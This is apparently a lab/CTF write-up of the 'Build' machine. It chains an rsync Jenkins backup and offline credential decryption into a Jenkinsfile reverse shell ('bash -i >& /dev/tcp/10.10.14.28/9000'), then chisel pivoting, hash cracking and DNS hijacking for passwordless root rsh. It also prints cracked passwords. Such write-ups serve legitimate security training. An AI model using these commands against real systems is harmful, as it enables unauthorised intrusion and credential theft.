Build - Writeup (Vulnlab & HackTheBox)
It starts with a Jenkins backup on an rsync server. A password is decrypted to access Gitea, then a Jenkins pipeline is modified to gain exec [...]

FOOTHOLD
NMAP INFO
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
512/tcp open exec
513/tcp open login
514/tcp open shell
873/tcp open rsync
3000/tcp open ppp
3306/tcp filtered mysql
8081/tcp filtered blackice-icecap
We have two important ports to focus on, and both are highly interconnected. I'll start with RSYNC and then move on to GITEA.
RSYNC | 873/tcp
If we focus on Port 873, we see the RSYNC service running. This service is commonly used for synchronizing files and directories between different systems:
rsync -av --list-only rsync://10.129.234.169/
This reveals a resource called "backups." We can synchronize this to a local directory we create named files/backups:
rsync -av rsync://10.129.234.169/backups files/backups
We have a file named jenkins.tar.gz, which we extract to obtain the full source code, including configuration files and other related data.
Dumping Credentials
Following this link, I was able to obtain very valuable information on how we could recover credentials over Jenkins: https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials
We need the following files to accomplish this:
master.key(jenkins_configuration/secrets/master.key)hudson.util.Secret(/secrets/hudson.util.Secret)config.xml(jenkins_configuration/jobs/build)
The master.key, hudson.util.Secret, and config.xml files are crucial in Jenkins for decrypting stored credentials. The master.key and hudson.util.Secret are used together to encrypt and decrypt sensitive data, while config.xml contains job configurations that may include credentials.
With these files and the script, I was able to dump the credentials of the buildadm user and gain access to it through Gitea. You can find the script here: https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret config.xml

Got it! → Git1234!
GITEA 3000/tcp
Now that we have the buildadm credentials, we can head over to Gitea and log in as that user:

PoC to Obtain a Reverse Shell
With full access to the buildadm/dev repository in Gitea, we can modify its build pipeline. The Jenkins instance is configured to automatically pull and execute changes from this repository via a webhook, meaning any code we commit will be executed in the build environment.
By editing the Jenkinsfile directly through the Gitea web interface, we insert a reverse shell payload. Once committed, Jenkins will detect the change through the webhook and execute it during the next pipeline run.
We then start a listener on our machine to catch the incoming connection. After committing the changes, Jenkins processes the updated Jenkinsfile, triggers the malicious stage, and we receive a reverse shell within a minute or two, confirming remote code execution in the Jenkins environment.
- Revshell payload
pipeline {
agent any
stages {
stage('pwnRev') {
steps {
sh '''
bash -c 'bash -i >& /dev/tcp/10.10.14.28/9000 0>&1'
'''
}
}
}
}
Finally, we got the reverse shell:

USER.txt
After obtaining the reverse shell, we can read the user.txt file located in the /root/user.txt directory.

.RHOSTS file:
Checking the .rhosts file located in the same directory as the user.txt file reveals the following domains:
→ admin.build.vl
→ intern.build.vl
This information will be useful later on.
The hostname and the presence of /.dockerenv confirm that we are inside a Docker container:

Reading /proc/net/route we can see:

And we can check this with ChatGPT to understand a bit more:

The addresses are in little-endian and hex. So..
My current IP is
172.18.0.3Checking
/proc/net/route, I see the gateway is172.18.0.1and the subnet is172.18.0.0/16.This means
172.18.0.1is most likely the docker host, and container ip’s start from172.18.0.2.
Chisel and Proxychain
I’m going to upload chisel to /tmp and set it up together with proxychains to gain more mobility within the internal network, allowing me to scan it more comfortably.
On the attacker machine:
./chisel server --reverse --port 1234
On the victim machine:
./chisel client 10.10.14.28:1234 R:9050:socks &
In /etc/proxychains.conf:
socks5 127.0.0.1 9050
Performing an internal scan with Nmap via proxychains on the Docker host:
proxychains nmap 172.18.0.1

The new nmap results from inside the network now show that ports 3306 and 8081, which were previously filtered in the initial external scan, are now marked as open.
MYSQL | 3306/tcp
Connecting to MySQL as root without password works and I find a database named powerdnsadmin containing a table called records, which provides very useful information:

Summary of Internal Network Enumeration
The 172.18.0.0/16 Docker network contains hosts from 172.18.0.1 to 172.18.0.6.
intern.build.vl → Docker host.
gitea.build.vl → Gitea container.
jenkins.build.vl → Jenkins container where we obtained a reverse shell.
Scanning the remaining hosts with nmap:
172.18.0.4 (db.build.vl) → MariaDB container (
3306/tcpopen, port forwarded to the host).
172.18.0.5 (pdns-worker.build.vl / pdns.build.vl) → PowerDNS container (
53/tcpDNS service,8081/tcpweb interface, both forwarded to the host).

- 172.18.0.6 → HTTP service on port
80/tcp.

PowerDNS-Admin
We can find the repository for PowerDNS-Admin here: https://github.com/PowerDNS-Admin/PowerDNS-Admin to learn more about the application. After setting up chrome to use the SOCKS proxy on port 9050, I was able to browse to its web interface.

A login page is presented, requiring both credentials and an OTP token. Since we previously saw references to this in the MySQL database, the next step is to investigate whether we can retrieve credentials or any password hashes from there to crack.
- user table:

I save the hash to a file named admin-hash and use hashcat with rockyou.txt to attempt cracking it, with a positive result:
The password is: winston
hashcat admin-hash ~/wordlist/rockyou.txt -m 3200

We obtain a successful login since the admin user does not have OTP enabled :D

From the PowerDNS-Admin panel, I can edit DNS records, for example:
http://172.18.0.6/domain/build.vl
When we grabbed the user flag earlier, we found a .rhosts file in the Jenkins container with:
admin.build.vl +
intern.build.vl +
.rhosts is used by rlogin and rsh to allow certain hosts to log in without a password.
A quick scan of 172.18.0.1 to 172.18.0.6 showed that ports 512–514 are only open on 172.18.0.1, meaning those services run on the Docker host, not in containers.
It turns out /root in the Jenkins container is a bind mount from /root/scripts/root on the host, so the .rhosts file is shared. These entries mean any connection from admin.build.vl or intern.build.vl is trusted, including root logins. The host verifies this by resolving the domains via PowerDNS and checking the IP.
Right now, admin.build.vl has no DNS record, and intern.build.vl points to 172.18.0.1 (the host), so passwordless login works only locally. But since we can edit DNS records, we can add or change one to point to our attacker IP, tricking the server into trusting us and letting us log in via rlogin/rsh as root.
DNS Hijack to Gain Root Access
DNS hijacking involves redirecting DNS queries to malicious servers (our case), allowing attackers to impersonate trusted hosts.
So.. from the PowerDNS-Admin panel, we add a new record for admin.build.vl pointing to our attack machine’s IP:

Apply Changes and we confirm the record is set using dig:
dig admin.build.vl @10.129.234.169

With this in place, we can log in as root without a password using rlogin or rsh:
rsh root@build.vl

Pwned!




